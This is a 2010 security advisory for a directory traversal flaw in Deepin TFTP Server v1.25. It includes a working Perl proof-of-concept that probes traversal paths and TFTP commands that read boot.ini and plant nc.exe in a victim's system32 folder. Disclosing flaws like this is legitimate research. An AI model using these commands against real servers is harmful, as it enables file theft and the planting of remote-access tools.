Deepin TFTP Server Directory Traversal Vulnerability

["黄超毅" <huang_chaoyi () venustech com cn>]

Software : Deepin TFTP Server Directory Traversal Vulnerability
Software Version : v1.25
Vendor: Deepin.org 
Vulnerability Published : 2010-08-14
Vulnerability Update Time :
Status : 
Impact : Medium
Bug Description :
Deepin TFTP Server does not properly sanitise filenames containing directory traversal sequences that are received from 
an FTP client.
Proof Of Concept :
****************************************************************
#!/usr/bin/perl -w
$|=1;
$target_ip=shift || die "usage: $0 \$target_ip\n";
@directory_traversal=(
'..\tmp.txt',
'..\..\tmp.txt',
'..\..\..\tmp.txt',
'..\..\..\..\tmp.txt',
'..\..\..\..\..\tmp.txt',
'..\..\..\..\..\..\tmp.txt',
'..\..\..\..\..\..\..\tmp.txt'
);
open(TMP, ">tmp.txt");
print TMP "tmp";
close(TMP);
foreach $dt_content (@directory_traversal){
        $dt_it=`tftp.exe $target_ip put tmp.txt $dt_content`;
        print "command : tftp.exe $target_ip put tmp.txt $dt_content\n";
        print "$dt_it";
        if($dt_it=~m/^Transferred successfully/){
                print "Directory Traversal PAYLOAD is $dt_content.\n";
                print "Press [ENTER] Button to continue...\n";
                <STDIN>;
        }
        sleep(3);
}
print "Finish!\n";
exit(0);
****************************************************************
Exploit :
****************************************************************
#get sensitive file
c:\windows\system32>tftp [VICTIM_IP] get ../../boot.ini boot.ini
#put malware
c:\windows\system32>tftp [VICTIM_IP] put nc.exe ../../WINDOWS/system32/nc.exe
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Credits : This vulnerability was discovered by demonalex(at)163(dot)com
Pentester/Researcher
Dark2S Security Team/Venustech.GZ Branch